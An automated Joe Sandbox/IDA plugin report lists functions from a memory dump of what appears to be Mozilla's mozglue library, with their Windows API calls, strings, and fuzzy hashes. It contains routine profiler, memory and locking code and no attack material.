Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6EC8C

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

GetCurrentThreadId.KERNEL32 ref: 6BF6ECA1
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6BF6ECC5
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF6ED19
CloseHandle.KERNEL32(?), ref: 6BF6ED28
free.MOZGLUE(00000000), ref: 6BF6ED2F
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6BF6EC94

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: dc574dd24f5625ed9e1fa121cdcc61bc19e7f0e9d1cb41359b243c5fd549d80a
Instruction ID: 48eba7af8700a57f83d920e468287fb3dbff0e72b2d3c63ba1ffc48f4897a077
Opcode Fuzzy Hash: dc574dd24f5625ed9e1fa121cdcc61bc19e7f0e9d1cb41359b243c5fd549d80a
Instruction Fuzzy Hash: 8621B577410109EBDB049F64DC45B6E7B69EB463A8F104211FD189B272EB79DC09CBA1

Function 6BF33A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6BF33BB4
ReleaseSRWLockShared.KERNEL32 ref: 6BF33BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6BF33BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF33C91
ReleaseSRWLockShared.KERNEL32 ref: 6BF33CBD
moz_xmalloc.MOZGLUE ref: 6BF33CF1

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: dd8a600b153fc9ddf9607a259af7558bccc598ec19cce7b0b2f67c89ef2d7096
Instruction ID: 68a7d6d39530b121490b0101d5c88a8284064ebd7e9f7ae5ad94c1378210670f
Opcode Fuzzy Hash: dd8a600b153fc9ddf9607a259af7558bccc598ec19cce7b0b2f67c89ef2d7096
Instruction Fuzzy Hash: F1C15EB2904715CFC724DF28C08465AFBF1BF89304F158A9ED8998B325D779E885CB82

Function 6BF68ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6BF2EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF2EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6BF6B392,?,?,00000001), ref: 6BF691F4

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Strings

data, xrefs: 6BF690E8
timeline-memory, xrefs: 6BF69088
timeline-overview, xrefs: 6BF6907A
timeline-fileio, xrefs: 6BF690A4
name, xrefs: 6BF68F16
marker-table, xrefs: 6BF6906C
timeline-ipc, xrefs: 6BF69096
stack-chart, xrefs: 6BF690B2
marker-chart, xrefs: 6BF6905E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f6b0cd4f78cf0755acf5fd546e876a5c6d58dfbea757ddcc2cb5da58ff0a38ff
Instruction ID: 5fbaadf05f77ddb97b845441180745f6817eb6ee21b007237cd82919eecce6ef
Opcode Fuzzy Hash: f6b0cd4f78cf0755acf5fd546e876a5c6d58dfbea757ddcc2cb5da58ff0a38ff
Instruction Fuzzy Hash: D9B1E7B7E0020ADBDB08CFA8D8517AEBBB6EF45384F204019D901AB761DB3D9941CBD1

Function 6BF4C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF4C5A3
WideCharToMultiByte.KERNEL32 ref: 6BF4C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF4C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6BF4CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BF4CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF4CAA5

Strings

0, xrefs: 6BF4D30A
(null), xrefs: 6BF4C596

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 71adf70d2dffc753b5165233995e10b1a0df0dac2ddf45c81feecf7d4cbb5b11
Instruction ID: 5a769b07ace04d51a87c922a698781cfc2744d4da76d9088d82b14135f40518f
Opcode Fuzzy Hash: 71adf70d2dffc753b5165233995e10b1a0df0dac2ddf45c81feecf7d4cbb5b11
Instruction Fuzzy Hash: 0DA18E326083419FDB00CF28C59475ABFE5AFCA744F04989DE899D7262D779DC09CB92

Function 6BF4C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF4C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF4C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6BF4C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6BF4C891

Strings

INF, xrefs: 6BF4C794
NAN, xrefs: 6BF4C7AD
nan, xrefs: 6BF4C7A8
inf, xrefs: 6BF4C78F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: edfccece93b15de195b2f91974a5878b14de31fb375a1357bd816038ea092051
Instruction ID: adf1ace747f07f293d60cdc562a89b99afa362612388397c1894915f6596c255
Opcode Fuzzy Hash: edfccece93b15de195b2f91974a5878b14de31fb375a1357bd816038ea092051
Instruction Fuzzy Hash: C251B4329087449BD704DF2CC48129AFFF1BF8A344F00992DE9D5A7262E778D9898B43

Function 6BF23480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF23492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF234A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF234EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6BF2350E
__Init_thread_footer.LIBCMT ref: 6BF23522
__aulldiv.LIBCMT ref: 6BF23552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF2357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF23592

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6BF23508
kernel32.dll, xrefs: 6BF234EA

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: d0f31acc9ff5598952c8413c446fc3d30101dda2ae029f4c65c762710193118c
Instruction ID: 23a60ced33531c8f2f969fb0f23d776e31e5a6d858135753d22bf5bfa9c1be78
Opcode Fuzzy Hash: d0f31acc9ff5598952c8413c446fc3d30101dda2ae029f4c65c762710193118c
Instruction Fuzzy Hash: B43190B291020ADBDF18DFB8C889B5E77B5FB45700F00441AE545E7270EB78E909CB60

Function 6BF6EB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BF6EBAC

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

GetCurrentThreadId.KERNEL32 ref: 6BF6EBC1
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8,?,?,00000000), ref: 6BF6EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BF6EBE5
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8,00000000), ref: 6BF6EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF6EC46
CloseHandle.KERNEL32(?), ref: 6BF6EC55
free.MOZGLUE(00000000), ref: 6BF6EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6BF6EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BF6EA9B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectReleaseSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 4250961200-1186885292
Opcode ID: 9568aa9f012cc9b5f4ef645b1204767c17f56169165f1b0a10e791b51e591c09
Instruction ID: d7398a8d70de7726c48cc3812c0c49c9e0566e2e06d3ebf5a408193c4bb94d07
Opcode Fuzzy Hash: 9568aa9f012cc9b5f4ef645b1204767c17f56169165f1b0a10e791b51e591c09
Instruction Fuzzy Hash: 4811B477810119DBCF045F74D849B5E7B69EF493A9F008220FD199B261E739D819CBA1

Function 6BF24480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6BF64843,?), ref: 6BF245F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF2468A
free.MOZGLUE(?,?,?,?,?,?,6BF64843,?), ref: 6BF246C9
free.MOZGLUE(?), ref: 6BF246EF
free.MOZGLUE(?), ref: 6BF24712
free.MOZGLUE(?), ref: 6BF24735
free.MOZGLUE(?), ref: 6BF24758
free.MOZGLUE(?), ref: 6BF2477B
free.MOZGLUE(?), ref: 6BF2479E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4b8ea1aa3dc25688527d8a3a0028d275f482abec981fde4e87d77840ea6bc2be
Instruction ID: 61773924dab7bd277aa9754eee87224a26b43deefcec2d79b8a84b169ec77fd1
Opcode Fuzzy Hash: 4b8ea1aa3dc25688527d8a3a0028d275f482abec981fde4e87d77840ea6bc2be
Instruction Fuzzy Hash: 00B1F773E001118FDB18DFBCC9947AD77A2AF41324F144669EA26DF7E2E77898408B91

Function 6BF8AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6BF8AC52
CreateFileMappingW.KERNEL32 ref: 6BF8AC7D
GetSystemInfo.KERNEL32 ref: 6BF8AC98
MapViewOfFile.KERNEL32 ref: 6BF8ACB0
GetSystemInfo.KERNEL32 ref: 6BF8ACCD
MapViewOfFile.KERNEL32 ref: 6BF8AD05
UnmapViewOfFile.KERNEL32 ref: 6BF8AD1C
CloseHandle.KERNEL32 ref: 6BF8AD28
UnmapViewOfFile.KERNEL32 ref: 6BF8AD37
CloseHandle.KERNEL32 ref: 6BF8AD43
CloseHandle.KERNEL32 ref: 6BF8AD67

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 9b13625a637a87a9eebcb67be07059493074c53f6ec65c7a149ecda93775d56e
Instruction ID: ac18f76fe2e19c45186c4cb75288f7f25c22c67f775bb5bab853de6debb55d0a
Opcode Fuzzy Hash: 9b13625a637a87a9eebcb67be07059493074c53f6ec65c7a149ecda93775d56e
Instruction Fuzzy Hash: 3C313DB2914709CFDB04AF78D68826EBBF1FF85305F014929E98596261EB74D458CB82

Function 6BF5F2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BF5D9DB), ref: 6BF5F2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6BF5F2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6BF5F386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BF5F347

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BF5F3C8
free.MOZGLUE(00000000,00000000), ref: 6BF5F3F3
free.MOZGLUE(00000000,00000000), ref: 6BF5F3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6BF5F413

Strings

ntdll.dll, xrefs: 6BF5F2F0

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 680d31fca142c0de8902332949f70111e0c2dfed14eb3d38a947b9287ab56b3e
Instruction ID: c5dd190e7121fd5eeae2fc06f514820e8de90ebaa5d033465748f147a228db1c
Opcode Fuzzy Hash: 680d31fca142c0de8902332949f70111e0c2dfed14eb3d38a947b9287ab56b3e
Instruction Fuzzy Hash: 88410EB3E002158BEB488F38D851B9EB7A5EF55314F10446DD81AAB3A1EB39E425CB91

Function 6BF86A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6BFAF618), ref: 6BF86A68
GetCurrentProcess.KERNEL32 ref: 6BF86A7D
GetCurrentProcess.KERNEL32 ref: 6BF86AA1
EnterCriticalSection.KERNEL32(6BFAF618), ref: 6BF86AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BF86AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BF86B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6BF86B65
LeaveCriticalSection.KERNEL32(6BFAF618,?,?), ref: 6BF86B83

Strings

SymInitialize, xrefs: 6BF86BA3

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 897563482cce19f0221777fb3133bb806e36e5b45b18e2a2a2139d63a75e39d0
Instruction ID: 23b7ac73df1f05f9281353f47f564e6757ce82ddaf82c8c49a1173876d0d6afa
Opcode Fuzzy Hash: 897563482cce19f0221777fb3133bb806e36e5b45b18e2a2a2139d63a75e39d0
Instruction Fuzzy Hash: EF41AF72624344EFDB04CF74C888B9E7BA8AF46704F0445B9F948DF2A2DB759508CB61

Function 6BF39620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6BF39675
__Init_thread_footer.LIBCMT ref: 6BF39697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6BF396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6BF39707
__Init_thread_footer.LIBCMT ref: 6BF3971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BF39773

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6BF397B7
FreeLibrary.KERNEL32 ref: 6BF397D0
FreeLibrary.KERNEL32 ref: 6BF397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BF39824

Strings

MapViewOfFileNuma2, xrefs: 6BF397B1
ntdll.dll, xrefs: 6BF396E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6BF39670
NtMapViewOfSection, xrefs: 6BF39701

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: a2a7b0f11023d48e00ff6be54b2860aacbc4a83b272bd54b41d3e92b4de7509a
Instruction ID: 2a4fa60d9dfac37727067fe01869ed2e18e526e908b8a3bdcc8585f1d4d12fe7
Opcode Fuzzy Hash: a2a7b0f11023d48e00ff6be54b2860aacbc4a83b272bd54b41d3e92b4de7509a
Instruction Fuzzy Hash: 8E419E72910206DBDF08CF64D885B9E77A4EF49314F008069ED56DB2B1DB38E818CBE1

Function 6BF21E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF21EC1
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF21EE1
EnterCriticalSection.KERNEL32(6BFAE744), ref: 6BF21F38
LeaveCriticalSection.KERNEL32(6BFAE744), ref: 6BF21F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6BF21F83
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF21FC0
EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF21FE2
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF21FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BF22019

Strings

MOZ_CRASH(), xrefs: 6BF22000

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: cac714e3d9896c70fc22bc64c7f69eed6f988390864237f4e742910ffea186c0
Instruction ID: 256ae2151d2b90ec054e2e4a0d3b4431d4d1eade479c02732e143f90bf5cfc65
Opcode Fuzzy Hash: cac714e3d9896c70fc22bc64c7f69eed6f988390864237f4e742910ffea186c0
